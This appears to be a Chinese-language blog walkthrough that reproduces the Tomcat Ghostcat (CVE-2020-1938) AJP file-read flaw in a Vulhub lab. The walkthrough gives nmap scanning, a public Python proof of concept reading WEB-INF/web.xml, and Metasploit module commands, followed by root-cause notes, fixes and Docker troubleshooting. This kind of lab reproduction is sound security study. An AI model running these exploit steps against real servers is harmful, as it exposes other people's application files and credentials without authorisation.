1546 字
8 分钟
Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938 幽灵猫)复现

CVE-2020-1938(幽灵猫 / Ghostcat)是 Tomcat AJP 协议的文件包含漏洞,CVSS 9.8。AJP(Apache JServ Protocol)是 Tomcat 与前置 Web 服务器(如 Apache HTTPD)之间的高效二进制协议,默认监听 8009 端口且无认证。AJP 连接器在转发请求时未校验 javax.servlet.include.* 系列属性的来源,攻击者直接向 AJP 端口发送构造的请求,即可指定包含路径,读取 Web 应用目录(webapps/ROOT/)下的任意文件(如 WEB-INF/web.xml、源码);若目标存在文件上传功能,可进一步包含上传的 JSP 文件实现远程代码执行。

复现基于 Vulhub 的 tomcat/CVE-2020-1938 靶场(Tomcat 9.0.30),使用 nmap AJP 脚本探测、Python POC 读取文件、Metasploit 模块验证三种方式复现,文末附容器启动失败的排查记录。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2020-19389.8Tomcat 6.x、7.x(< 7.0.100)、8.x(< 8.5.51)、9.x(< 9.0.31)文件包含(任意文件读取 / RCE)

漏洞复现#

复现环境准备#

使用 Vulhub 快速搭建漏洞环境:

Terminal window
# 安装Docker和docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
# 确认容器启动状态
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
26a632f74c40 vulhub/tomcat:9.0.30 "catalina.sh run" 3 minutes ago Up 3 minutes 0.0.0.0:8009->8009/tcp, :::8009->8009/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2020-1938-tomcat-1

注:如果启动容器后执行docker ps发现容器并没有如预期启动,很有可能是容器/宿主机内存不足、文件描述符限制过低导致 JVM 崩溃,解决方案见附录。

访问 http://192.168.31.148:8080 确认容器正常启动。

Tomcat 默认页面

端口扫描与服务识别#

Terminal window
# 使用 Nmap 官方 AJP 漏洞扫描脚本
nmap --script ajp-methods,ajp-brute,ajp-request -p 8009 192.168.31.148
# 扫描结果
PORT STATE SERVICE
8009/tcp open ajp13
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
| ajp-request:
| AJP/1.3 200 200
...
| ajp-brute:
|_ URL does not require authentication
MAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds

ajp-brute: URL does not require authentication:AJP 服务无需认证即可访问。CVE-2020-1938 的核心成因就是 Tomcat 的 AJP 协议默认开启且无认证,攻击者可通过 AJP 协议读取 Web 应用目录下的任意文件或包含恶意文件。

使用 POC 脚本读取文件#

Vulhub 自带了 POC,基于 CNVD-2020-10487-Tomcat-Ajp-lfi 改进而来。

Terminal window
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f/WEB-INF/web.xml 192.168.31.148

注意使用的是 python2 而不是 python3,若使用 python3 则需将脚本中的:

self.stream = self.socket.makefile("rb", bufsize=0)

修改为:

self.stream = self.socket.makefile("rb", buffering=0)

也可以直接使用 Vulhub 自带的 poc.py:

Terminal window
python2 poc.py 192.168.31.148 -p 8009 -f /WEB-INF/web.xml

成功返回 WEB-INF/web.xml 的内容:

POC 成功读取 web.xml 文件内容

使用 Metasploit#

Terminal window
# 启动 MSF 交互控制台
msfconsole
# 搜索可用模块
msf > search cve-2020-1938
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
msf > use 0
msf auxiliary(admin/http/tomcat_ghostcat) > set RHOST 192.168.31.148
RHOST => 192.168.31.148
msf auxiliary(admin/http/tomcat_ghostcat) > set filename /WEB-INF/web.xml
filename => /WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) > run

Metasploit tomcat_ghostcat 模块读取 web.xml 成功

靶机中对应的路径实际上是 /usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml。利用该漏洞读取的文件被限制在 Web 应用目录(webapps/ROOT/)内,无法通过路径跳转读取系统其他位置的文件,这是 AJP 包含机制本身的限制。

漏洞核心原理#

Tomcat 默认在 server.xml 中开启 AJP 协议端口(默认 8009),用于与其他 Web 服务器(如 Apache HTTPD)通信。AJP 协议在转发请求时,允许请求中携带 javax.servlet.include.request_uri、javax.servlet.include.path_info、javax.servlet.include.servlet_path 三个属性,用于指定服务端包含(SSI)的目标路径。正常情况下这些属性只应由前置服务器设置,但 AJP 连接器未校验请求来源,攻击者可以直接构造携带这些属性的 AJP 请求,让 Tomcat 包含并返回 Web 应用目录下的任意文件(如 WEB-INF/web.xml、JSP 源码)。若应用存在文件上传功能,攻击者可上传含恶意代码的文件后通过包含执行,实现远程代码执行。

修复方案#

  • 升级 Tomcat 至 7.0.100、8.5.51、9.0.31 或更高版本,修复方式为 AJP 连接器校验请求属性来源、过滤 .. 路径跳转;
  • 若业务不使用 AJP 协议(未与 Apache HTTPD 集成),直接在 server.xml 中注释掉 AJP 连接器配置;
  • 必须使用 AJP 时,为连接器配置 requiredSecret 属性启用认证。

参考链接#

附录:容器启动失败解决方案#

定位原因#

执行docker-compose up -d后发现容器并没有按照预期正常启动,docker-compose logs查看日志:

tomcat-1 | # A fatal error has been detected by the Java Runtime Environment:
tomcat-1 | #
tomcat-1 | # SIGSEGV (0xb) at pc=0x00007f9ca649a611, pid=1, tid=0x00007f9ca5385700
tomcat-1 | #
tomcat-1 | # JRE version: OpenJDK Runtime Environment (8.0_242-b08) (build 1.8.0_242-b08)
tomcat-1 | # Java VM: OpenJDK 64-Bit Server VM (25.242-b08 mixed mode linux-amd64 compressed oops)
tomcat-1 | # Problematic frame:
tomcat-1 | # C [libc.so.6+0x22611] abort+0x1fd
tomcat-1 | #
tomcat-1 | # Core dump written. Default location: /usr/local/tomcat/core or core.1
tomcat-1 | #
tomcat-1 | # An error report file with more information is saved as:
tomcat-1 | # /usr/local/tomcat/hs_err_pid1.log
...(中间错误详情省略)
tomcat-1 | library initialization failed - unable to allocate file descriptor table - out of memory

关键提示:library initialization failed - unable to allocate file descriptor table - out of memory(库初始化失败,无法分配文件描述符表)。

JVM 崩溃的本质是容器/宿主机资源不足(内存不足、文件描述符限制过低),导致 JVM 无法完成初始化,触发段错误(SIGSEGV)。

首先确认宿主机本身是否有足够的内存和资源:

Terminal window
# 查看宿主机内存使用情况(重点看free列的可用内存)
free -h
# 查看宿主机文件描述符当前限制
ulimit -n

如果宿主机可用内存(free)小于 1G,必须先关闭其他占用内存的程序(比如其他容器、无用服务);如果ulimit -n返回值小于 10240,说明宿主机文件描述符限制过低,也需要修改。

修复问题#

修改 vulhub/tomcat/CVE-2020-1938/docker-compose.yml 为以下完整配置:

services:
tomcat:
image: vulhub/tomcat:8.5.50
container_name: tomcat-1
ports:
- "8080:8080"
- "8009:8009"
mem_limit: 1024m # 容器最大可用内存1G
mem_reservation: 512m # 容器预留内存512M
environment:
- JAVA_OPTS=-Xms128m -Xmx256m -XX:+HeapDumpOnOutOfMemoryError
ulimits:
nofile:
soft: 65535
hard: 65535

注意缩进,缩进错误可能会导致报错:

yaml: line 5: did not find expected '-' indicator
Apache Tomcat AJP 文件包含漏洞(CVE-2020-1938 幽灵猫)复现
https://blog.mal-suen.cn/posts/2020/08/246/
作者
Malcolm
发布于
2020-08-24
许可协议
CC BY-NC-SA 4.0